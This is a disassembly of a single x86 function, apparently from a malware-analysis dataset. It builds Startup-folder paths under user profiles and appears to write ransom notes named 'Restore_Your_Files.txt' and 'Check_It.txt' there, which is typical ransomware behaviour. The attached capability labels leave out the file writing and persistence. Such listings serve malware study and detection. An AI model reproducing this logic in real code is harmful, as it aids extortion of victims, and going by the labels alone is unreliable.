Function at 0x421700
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4d8add
mov eax, dword fs:[0]
push eax
sub esp, 0x314
mov eax, dword [0x51f164]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor edi, edi
mov esi, 0x5296c0
nop dword [eax]
nop dword [eax + eax]
push str.:Users_
mov edx, 0x520088
lea ecx, [ebp - 0x58]
call fcn.0043a2d0
add esp, 4
mov dword [ebp - 4], 0
mov ecx, esi
cmp dword [esi + 0x14], 8
jb 0x421766
mov ecx, dword [esi]
push dword [esi + 0x10]
push ecx
mov ecx, eax
call fcn.00438860
mov dword [ebp - 0x2f8], 0
xor ecx, ecx
mov dword [ebp - 0x2f4], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x308], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x2f8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
push 0x3f
push str.AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup_
lea ecx, [ebp - 0x308]
mov byte [ebp - 4], 1
call fcn.00438860
mov dword [ebp - 0x60], 0
xor ecx, ecx
mov dword [ebp - 0x5c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x70], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x60], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 3
mov edx, dword [ebp - 0x2f4]
cmp edx, 8
jb 0x42183b
mov ecx, dword [ebp - 0x308]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x421831
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4223d2
push edx
push ecx
call fcn.004913bc
add esp, 8
xor eax, eax
mov dword [ebp - 0x2f8], 0
mov dword [ebp - 0x2f4], 7
mov word [ebp - 0x308], ax
mov byte [ebp - 4], 4
mov edx, dword [ebp - 0x44]
cmp edx, 8
jb 0x421896
mov ecx, dword [ebp - 0x58]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x42188c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4223d2
push edx
push ecx
call fcn.004913bc
add esp, 8
xor eax, eax
mov dword [ebp - 0x48], 0
cmp dword [ebp - 0x5c], 8
mov word [ebp - 0x58], ax
lea eax, [ebp - 0x70]
cmovae eax, dword [ebp - 0x70]
push eax
mov dword [ebp - 0x44], 7
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x421a32
push str.Restore_Your_Files.txt
lea edx, [ebp - 0x70]
lea ecx, [ebp - 0x28]
call fcn.0043a2d0
push 0xb8
lea eax, [ebp - 0x2f0]
mov byte [ebp - 4], 5
push 0
push eax
call fcn.004a9100
add esp, 4
lea eax, [ebp - 0x28]
lea ecx, [ebp - 0x2f0]
push eax
call fcn.00432720
mov byte [ebp - 4], 6
mov eax, dword [ebp - 0x2f0]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0x2e4], 6
je 0x4219af
push 0xc0
lea eax, [ebp - 0x238]
push 0
push eax
call fcn.004a9100
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x238]
call fcn.00432470
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x228]
cmp dword [0x51fd14], 8
mov edx, 0x51fd00
push dword [0x51fd10]
cmovae edx, dword [0x51fd00]
call fcn.0043f960
add esp, 4
lea ecx, [ebp - 0x220]
call fcn.00437be0
test eax, eax
jne 0x4219a0
mov eax, dword [ebp - 0x238]
lea ecx, [ebp - 0x238]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
lea ecx, [ebp - 0x238]
mov byte [ebp - 4], 6
call fcn.004214d0
lea ecx, [ebp - 0x2e0]
call fcn.00437be0
test eax, eax
jne 0x4219e9
mov eax, dword [ebp - 0x2f0]
lea ecx, [ebp - 0x2f0]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
lea ecx, [ebp - 0x2f0]
call fcn.00421600
mov byte [ebp - 4], 4
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x421a32
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x421a28
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4223d2
push edx
push ecx
call fcn.004913bc
add esp, 8
push str.:Documents_and_Settings_
mov edx, 0x520088
lea ecx, [ebp - 0x28]
call fcn.0043a2d0
add esp, 4
mov byte [ebp - 4], 8
mov ecx, esi
cmp dword [esi + 0x14], 8
jb 0x421a55
mov ecx, dword [esi]
push dword [esi + 0x10]
push ecx
mov ecx, eax
call fcn.00438860
mov dword [ebp - 0x310], 0
xor ecx, ecx
mov dword [ebp - 0x30c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x320], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x310], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
push 0x1d
push str.Start_MenuProgramsStartup_
lea ecx, [ebp - 0x320]
mov byte [ebp - 4], 9
call fcn.00438860
mov dword [ebp - 0x30], 0
xor ecx, ecx
mov dword [ebp - 0x2c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x40], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x30], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 0xb
mov edx, dword [ebp - 0x30c]
cmp edx, 8
jb 0x421b2a
mov ecx, dword [ebp - 0x320]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x421b20
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4223d2
push edx
push ecx
call fcn.004913bc
add esp, 8
xor eax, eax
mov dword [ebp - 0x310], 0
mov dword [ebp - 0x30c], 7
mov word [ebp - 0x320], ax
mov byte [ebp - 4], 0xc
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x421b85
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x421b7b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4223d2
push edx
push ecx
call fcn.004913bc
add esp, 8
xor eax, eax
mov dword [ebp - 0x18], 0
cmp dword [ebp - 0x2c], 8
mov word [ebp - 0x28], ax
lea eax, [ebp - 0x40]
cmovae eax, dword [ebp - 0x40]
push eax
mov dword [ebp - 0x14], 7
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x421d21
push str.Restore_Your_Files.txt
lea edx, [ebp - 0x40]
lea ecx, [ebp - 0x58]
call fcn.0043a2d0
push 0xb8
lea eax, [ebp - 0x2f0]
mov byte [ebp - 4], 0xd
push 0
push eax
call fcn.004a9100
add esp, 4
lea eax, [ebp - 0x58]
lea ecx, [ebp - 0x2f0]
push eax
call fcn.00432720
mov byte [ebp - 4], 0xe
mov eax, dword [ebp - 0x2f0]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0x2e4], 6
je 0x421c9e
push 0xc0
lea eax, [ebp - 0x178]
push 0
push eax
call fcn.004a9100
lea eax, [ebp - 0x58]
push eax
lea ecx, [ebp - 0x178]
call fcn.00432470
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x168]
cmp dword [0x51fd14], 8
mov edx, 0x51fd00
push dword [0x51fd10]
cmovae edx, dword [0x51fd00]
call fcn.0043f960
add esp, 4
lea ecx, [ebp - 0x160]
call fcn.00437be0
test eax, eax
jne 0x421c8f
mov eax, dword [ebp - 0x178]
lea ecx, [ebp - 0x178]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
lea ecx, [ebp - 0x178]
mov byte [ebp - 4], 0xe
call fcn.004214d0
lea ecx, [ebp - 0x2e0]
call fcn.00437be0
test eax, eax
jne 0x421cd8
mov eax, dword [ebp - 0x2f0]
lea ecx, [ebp - 0x2f0]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
lea ecx, [ebp - 0x2f0]
call fcn.00421600
mov byte [ebp - 4], 0xc
mov edx, dword [ebp - 0x44]
cmp edx, 8
jb 0x421d21
mov ecx, dword [ebp - 0x58]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x421d17
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4223d2
push edx
push ecx
call fcn.004913bc
add esp, 8
mov byte [ebp - 4], 4
mov edx, dword [ebp - 0x2c]
cmp edx, 8
jb 0x421d5f
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x421d55
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4223d2
push edx
push ecx
call fcn.004913bc
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x5c]
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 7
mov word [ebp - 0x40], ax
cmp edx, 8
jb 0x421db4
mov ecx, dword [ebp - 0x70]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x421daa
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4223d2
push edx
push ecx
call fcn.004913bc
add esp, 8
inc edi
add esi, 0x18
cmp edi, dword [0x529518]
jbe 0x421740
push str.:Documents_and_Settings_
mov edx, 0x520088
lea ecx, [ebp - 0xb8]
call fcn.0043a2d0
add esp, 4
mov dword [ebp - 4], 0x10
lea eax, [ebp - 0xb8]
cmp dword [ebp - 0xa4], 8
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmovae eax, dword [ebp - 0xb8]
push eax
call esi
cmp eax, 0xffffffff
je 0x421f79
push str.Restore_Your_Files.txt
lea edx, [ebp - 0xb8]
lea ecx, [ebp - 0x28]
call fcn.0043a2d0
push 0xb8
lea eax, [ebp - 0x2f0]
mov byte [ebp - 4], 0x11
push 0
push eax
call fcn.004a9100
add esp, 4
lea eax, [ebp - 0x28]
lea ecx, [ebp - 0x2f0]
push eax
call fcn.00432720
mov byte [ebp - 4], 0x12
mov eax, dword [ebp - 0x2f0]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0x2e4], 6
je 0x421ef6
push 0xc0
lea eax, [ebp - 0x178]
push 0
push eax
call fcn.004a9100
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x178]
call fcn.00432470
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x168]
cmp dword [0x51fd14], 8
mov edx, 0x51fd00
push dword [0x51fd10]
cmovae edx, dword [0x51fd00]
call fcn.0043f960
add esp, 4
lea ecx, [ebp - 0x160]
call fcn.00437be0
test eax, eax
jne 0x421ee7
mov eax, dword [ebp - 0x178]
lea ecx, [ebp - 0x178]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
lea ecx, [ebp - 0x178]
mov byte [ebp - 4], 0x12
call fcn.004214d0
lea ecx, [ebp - 0x2e0]
call fcn.00437be0
test eax, eax
jne 0x421f30
mov eax, dword [ebp - 0x2f0]
lea ecx, [ebp - 0x2f0]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
lea ecx, [ebp - 0x2f0]
call fcn.00421600
mov byte [ebp - 4], 0x10
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x421f79
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x421f6f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4223d2
push edx
push ecx
call fcn.004913bc
add esp, 8
push str.:Users_
mov edx, 0x520088
lea ecx, [ebp - 0xa0]
call fcn.0043a2d0
add esp, 4
mov byte [ebp - 4], 0x14
lea eax, [ebp - 0xa0]
cmp dword [ebp - 0x8c], 8
cmovae eax, dword [ebp - 0xa0]
push eax
call esi
cmp eax, 0xffffffff
je 0x422125
push str.Restore_Your_Files.txt
lea edx, [ebp - 0xa0]
lea ecx, [ebp - 0x28]
call fcn.0043a2d0
push 0xb8
lea eax, [ebp - 0x2f0]
mov byte [ebp - 4], 0x15
push 0
push eax
call fcn.004a9100
add esp, 4
lea eax, [ebp - 0x28]
lea ecx, [ebp - 0x2f0]
push eax
call fcn.00432720
mov byte [ebp - 4], 0x16
mov eax, dword [ebp - 0x2f0]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0x2e4], 6
je 0x4220a2
push 0xc0
lea eax, [ebp - 0x178]
push 0
push eax
call fcn.004a9100
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x178]
call fcn.00432470
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x168]
cmp dword [0x51fd14], 8
mov edx, 0x51fd00
push dword [0x51fd10]
cmovae edx, dword [0x51fd00]
call fcn.0043f960
add esp, 4
lea ecx, [ebp - 0x160]
call fcn.00437be0
test eax, eax
jne 0x422093
mov eax, dword [ebp - 0x178]
lea ecx, [ebp - 0x178]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
lea ecx, [ebp - 0x178]
mov byte [ebp - 4], 0x16
call fcn.004214d0
lea ecx, [ebp - 0x2e0]
call fcn.00437be0
test eax, eax
jne 0x4220dc
mov eax, dword [ebp - 0x2f0]
lea ecx, [ebp - 0x2f0]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
lea ecx, [ebp - 0x2f0]
call fcn.00421600
mov byte [ebp - 4], 0x14
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x422125
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x42211b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4223d7
push edx
push ecx
call fcn.004913bc
add esp, 8
push 0x500354
mov edx, 0x520088
lea ecx, [ebp - 0x88]
call fcn.0043a2d0
add esp, 4
mov byte [ebp - 4], 0x18
lea eax, [ebp - 0x88]
cmp dword [ebp - 0x74], 8
cmovae eax, dword [ebp - 0x88]
push eax
call esi
cmp eax, 0xffffffff
je 0x4222ca
push str.Check_It.txt
lea edx, [ebp - 0x88]
lea ecx, [ebp - 0x28]
call fcn.0043a2d0
push 0xb8
lea eax, [ebp - 0x2f0]
mov byte [ebp - 4], 0x19
push 0
push eax
call fcn.004a9100
add esp, 4
lea eax, [ebp - 0x28]
lea ecx, [ebp - 0x2f0]
push eax
call fcn.00432720
mov byte [ebp - 4], 0x1a
mov eax, dword [ebp - 0x2f0]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0x2e4], 6
je 0x42224b
push 0xc0
lea eax, [ebp - 0x178]
push 0
push eax
call fcn.004a9100
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x178]
call fcn.00432470
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x168]
cmp dword [0x51fd14], 8
mov edx, 0x51fd00
push dword [0x51fd10]
cmovae edx, dword [0x51fd00]
call fcn.0043f960
add esp, 4
lea ecx, [ebp - 0x160]
call fcn.00437be0
test eax, eax
jne 0x42223c
mov eax, dword [ebp - 0x178]
lea ecx, [ebp - 0x178]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
lea ecx, [ebp - 0x178]
mov byte [ebp - 4], 0x1a
call fcn.004214d0
lea ecx, [ebp - 0x2e0]
call fcn.00437be0
test eax, eax
jne 0x422285
mov eax, dword [ebp - 0x2f0]
lea ecx, [ebp - 0x2f0]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
lea ecx, [ebp - 0x2f0]
call fcn.00421600
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x4222ca
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4222c0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4223dc
push edx
push ecx
call fcn.004913bc
add esp, 8
mov edx, dword [ebp - 0x74]
cmp edx, 8
jb 0x422307
mov ecx, dword [ebp - 0x88]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4222fd
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4223e1
push edx
push ecx
call fcn.004913bc
add esp, 8
mov edx, dword [ebp - 0x8c]
xor eax, eax
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x74], 7
mov word [ebp - 0x88], ax
cmp edx, 8
jb 0x42235e
mov ecx, dword [ebp - 0xa0]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x422354
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4223e1
push edx
push ecx
call fcn.004913bc
add esp, 8
mov edx, dword [ebp - 0xa4]
xor eax, eax
mov dword [ebp - 0x90], 0
mov dword [ebp - 0x8c], 7
mov word [ebp - 0xa0], ax
cmp edx, 8
jb 0x4223b7
mov ecx, dword [ebp - 0xb8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4223ad
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4223e1
push edx
push ecx
call fcn.004913bc
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00490d3b
mov esp, ebp
pop ebp
ret
call fcn.004b58b2
call fcn.004b58b2
call fcn.004b58b2
call fcn.004b58b2
int3